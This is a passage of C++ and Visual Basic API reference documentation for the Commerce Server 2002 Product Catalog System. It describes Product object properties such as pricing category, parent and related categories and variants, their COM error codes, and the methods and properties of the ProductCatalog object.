[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.

Remarks

[C++] The CatalogName parameter contains valid data only if the property was accessed successfully.

Products that are included in a virtual catalog appear to exist in two places in the Product Catalog System.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_GetProductProperties Property [C++]

Product.GetProductProperties Property [Visual Basic]

The GetProductProperties property is a read-only recordset that contains the properties of this Product object.

Definition

[C++]
HRESULT IProduct3::get_GetProductProperties(
  _Recordset** GetProductProperties
);
[Visual Basic]
Property GetProductProperties As Recordset

Parameters

GetProductProperties [C++]
[out, retval] The address of a pointer to a _Recordset object used to return the properties of this product.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this property can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The GetProductProperties parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The GetProductProperties property contains valid data only if it was accessed successfully.

[C++] The returned single-row recordset contains all the fields defined for the product definition, as well as all the common fields in the CatalogProduct Recordset. The recordset also contains the ProductID property of the catalog if the ProductID property is not a part of the product definition.

[Visual Basic] The returned single-row recordset contains all the fields defined for the product definition, as well as all the common fields in the CatalogProduct Recordset.

The recordset returned is updateable, but disconnected. To modify the product properties, pass this recordset to the SetProductProperties method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::SetProductProperties

[Visual Basic] Product.SetProductProperties


IProduct3::get_ParentCategories Property [C++]

Product.ParentCategories Property [Visual Basic]

The ParentCategories property is a read-only recordset that contains the names of categories that directly contain this product.

Definition

[C++]
HRESULT IProduct3::get_ParentCategories(
  _Recordset** ParentCategories
);
[Visual Basic]
Property ParentCategories As Recordset

Parameters

ParentCategories [C++]
[out, retval] A _Recordset object used to return the parent categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The ParentCategories parameter contains valid data only if the property was accessed successfully.

If the product is not contained in any categories, the returned recordset will be empty, and its EOF property will be set to VARIANT_TRUE.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
CategoryName String
Maximum of 128 characters 		Name of the category containing this product.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FvirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited(value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_AncestorCategories

[Visual Basic] Product.AncestorCategories


IProduct3::get_PricingCategory, put_PricingCategory Property [C++]

Product.PricingCategory Property [Visual Basic]

The PricingCategory property is a read/write String that contains the name of the pricing category for this product.

Definition

[C++]

Get method:

HRESULT IProduct3::get_PricingCategory(
  BSTR* PricingCategory
);SET

Put method:

HRESULT IProduct3::put_PricingCategory(
  BSTR PricingCategory
);
[Visual Basic]
Property PricingCategory As String

Parameters

PricingCategory [C++]
[in] When putting the property, a BSTR that contains the pricing category.
[out, retval] When getting the property, a pointer to a BSTR used to return the pricing category.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this property can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The PricingCategory parameter contains valid data only if the property was accessed successfully.

Using a category as a Pricing category allows you to set the prices of multiple products by making a single change, rather than having to change the price for each product. Setting the Pricing category for a product family will also set the Pricing category for all the variants of the product family.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_PrimaryParent, put_PrimaryParent Property [C++]

Product.PrimaryParent Property [Visual Basic]

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[C++]

Get method:

HRESULT IProduct3::get_PrimaryParent(
  BSTR* PrimaryParent
);

Put method:

HRESULT IProduct3::put_PrimaryParent(
  BSTR PrimaryParent
);
[Visual Basic]
Property PrimaryParent As String

Parameters

PrimaryParent [C++]
[in] When putting the property, a BSTR that contains the primary parent.
[out, retval] When getting the property, a BSTR used to return the primary parent.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &Hx8898001E | The product you specified doesn't exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C++] 0x889800AC [Visual Basic] &H889800AC | The primary parent category that you specified does not exist
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list Price. The list price of the category has to be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Products and categories can have multiple parent-child relationships. Specifying a primary parent for a product or category simplifies the hierarchy and clarifies the application of pricing rules.

Note

  • This property cannot be modified in a virtual catalog. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object. If the category being added as a primary parent is not a parent category, then it will also be added as a parent category for the product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_ProductID Property [C++]

Product.ProductID Property [Visual Basic]

The ProductID property is a read-only String that contains the unique ID for this product.

Definition

[C++]
HRESULT IProduct3::get_ProductID(
  BSTR* ProductID
);
[Visual Basic]
Property ProductID As String

Parameters

ProductID [C++]
[out, retval] The address of a BSTR used to return the product ID.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ProductID parameter contains valid data only if the property was accessed successfully.

The value of this property is a copy of the value of the IdentifyingProductProperty property of the catalog containing this product.

The value of this property will always be "ProductID" for a virtual catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_RelatedCategories Property [C++]

Product.RelatedCategories Property [Visual Basic]

The RelatedCategories property is a read-only Recordset object that contains the names of categories that are related to this product.

Definition

[C++]
HRESULT IProduct3::get_RelatedCategories(
  _Recordset** RelatedCategories
);
[Visual Basic]
Property RelatedCategories As Recordset

Parameters

RelatedCategories [C++]
[out, retval] A _Recordset object used to return the related categories.

[Visual Basic] None.

[C++]

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedCategories parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The RelatedCategories property contains valid data only if it was accessed successfully.

The returned recordset contains one column for each relationship present.

The returned recordset contains the fields listed in the following table.

Field Data Type Description
CategoryName String
Maximum of 128 characters 		Name of the category.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 256 characters 		Description of the relationship in the current language of the catalog.
TargetCatalog String
Maximum of 100 characters 		Name of the catalog containing the related category.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_RelatedProducts

[Visual Basic] Product.RelatedProducts

[C++] IProduct3::AddRelationshipToCategory

[Visual Basic] Product.AddRelationshipToCategory

[C++] IProduct3::SetRelatedCategories

[Visual Basic] Product.SetRelatedCategories


IProduct3::get_RelatedProducts Property [C++]

Product.RelatedProducts Property [Visual Basic]

The RelatedProducts property is a read-only Recordset object that contains the names of products that are related to this product.

Definition

[C++]
HRESULT IProduct3::get_RelatedProducts(
  _Recordset** RelatedProducts
);
[Visual Basic]
Property RelatedProducts As Recordset

Parameters

RelatedProducts [C++]
[out, retval] A _Recordset object used to return the related products.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedProducts parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The RelatedProducts property contains valid data only if it was accessed successfully.

The recordset returned contains one row for each relationship present.

The returned recordset contains the fields listed in the following table.

Field Data Type Description
ProductID String
Maximum of 128 characters 		The unique product identifier in the target catalog.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 128 characters 		Description of the relationship in the current language of the catalog.
TargetCatalog String
Maximum of 100 characters 		Name of the catalog containing the related product.

Important

  • The ProductID field in the returned recordset is not same as the <defined ProductID field> used in this recordset in Commerce Server 2000. If you are upgrading a Commerce Server 2000 application you may need to modify your code to accept a String data type.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::AddRelatationshipToProduct

[Visual Basic] Product.AddRelatationshipToProduct

[C++] IProduct3::SetRelatedProducts

[Visual Basic] Product.SetRelatedProducts


IProduct3::get_UseCategoryPricing, put_UseCategoryPricing Property [C++]

Product.UseCategoryPricing Property [Visual Basic]

The UseCategoryPricing property is a read/write Boolean that determines whether the price of the product will be determined from the PrimaryParent property of the product.

Definition

[C++]

Get method:

HRESULT IProduct3::get_UseCategoryPricing(
 VARIANT_BOOL* UseCategoryPricing
);

Put method:

HRESULT IProduct3::put_UseCategoryPricing(
 VARIANT_BOOL UseCategoryPricing
);
[Visual Basic]
Property UseCategoryPricing As Boolean

Parameters

UseCategoryPricing [C++]
[in] When putting the property, a VARIANT_BOOL that specifies whether to use category pricing.
[out, retval] When getting the property, a pointer to a VARIANT_BOOL used to return the value of the UseCategoryPricing property. See the Remarks section for the effects of this property.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PRIMARY_PARENT | [C++] 0x889800DA [Visual Basic] &H889800DA | To use category pricing for this product, you should first set a primary parent category.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_PRICING_CAT_PRICELESS | [C++] 0x8898002F [Visual Basic] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.

Remarks

A value of True indicates that the price of the product will be determined from the PrimaryParent category of the product. A value of False indicates that the price of the product will not be determined from the PrimaryParent category.

Note

  • If this product is inherited by a virtual catalog, the PrimaryParent property cannot be set from the virtual catalog.

[C++] If the property is set to True the PricingCategory property will be set to and become synonymous with the PrimaryParent property.

[Visual Basic] If the property is set to True the PricingCategory property will be set to and become synonymous with the PrimaryParent property.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_PricingCategory

[Visual Basic] Product.PricingCategory

[C++] IProduct3::get_PrimaryParent

[Visual Basic] Product.PrimaryParent


IProduct3::get_Variants Property [C++]

Product.Variants Property [Visual Basic]

The Variants property is a read-only recordset that describes all of the variants of this product.

Definition

[C++]
HRESULT IProduct3::get_Variants(
  VARIANT strPropertyToSortOn,
  _Recordset** Variants
);
[Visual Basic]
Property Variants(
  Optional strPropertyToSortOn As Variant
) As Recordset

Parameters

strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which the returned Recordset object is to be sorted. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which the returned Recordset object is to be sorted. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
Variants [C++]
[out, retval] A pointer to a _Recordset object used to return the variants.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

[C++] The Variants parameter contains valid data only if the property was accessed successfully.

The returned recordset will contain one row for each variant of this product. If this product has no variants, the returned recordset will be empty, and its EOF property will be set to VARIANT_TRUE.

The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsVariants = myProduct.Variants("Size")

See Also

[C++] Product Object

[Visual Basic] Product Object


ProductCatalog Object [C++]

ProductCatalog Object [Visual Basic]

Use this object to alter catalogs and to modify catalog contents. The ProductCatalog object is the primary object for working with catalogs in the Product Catalog System.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | ProductCatalog
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | IProductCatalog3
Interface ID Constant: | IID_IProductCatalog3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the IProductCatalog3 interface to access the properties and methods of the ProductCatalog object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product or product family based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.
[Visual Basic]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.

Properties

[C++]
Property | Type | Description
CatalogName | BSTR | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | BSTR | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | BSTR | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | BSTR | Contains the active language. This property is read/write.
RootCategories | _Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | _Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | _Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.
[Visual Basic]
Property | Type | Description
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | String | Contains the active language. This property is read/write.
RootCategories | Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.

Remarks

[C++]

Many of the methods in ProductCatalog use recordsets to return data. These methods will often use the CatalogProduct recordset. For more information, see CatalogProduct recordset.

The ProductCatalog object is a dependent object. Obtain a pointer to the IProductCatalog interface by calling one of the following methods:

  • ICatalogManager::GetCatalog
  • ICatalogManager::CreateCatalog
[Visual Basic]

Many of the methods in ProductCatalog use recordsets to return data. These methods will often use the CatalogProduct recordset. For more information, see CatalogProduct recordset.

The ProductCatalog object is a dependent object. Obtain a reference to it by calling one of the following methods:

  • CatalogManager.GetCatalog
  • CatalogManager.CreateCatalog


IProductCatalog3 Methods [C++]

ProductCatalog Methods [Visual Basic]

Methods

[C++]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product or product family based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.
[Visual Basic]
Method | Description
AddLanguage | Adds support for an additional language.
AddPriceRule | Adds a price rule for a specific product or category to a virtual catalog.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes the specified category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes the specified product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Use this method to rebuild virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
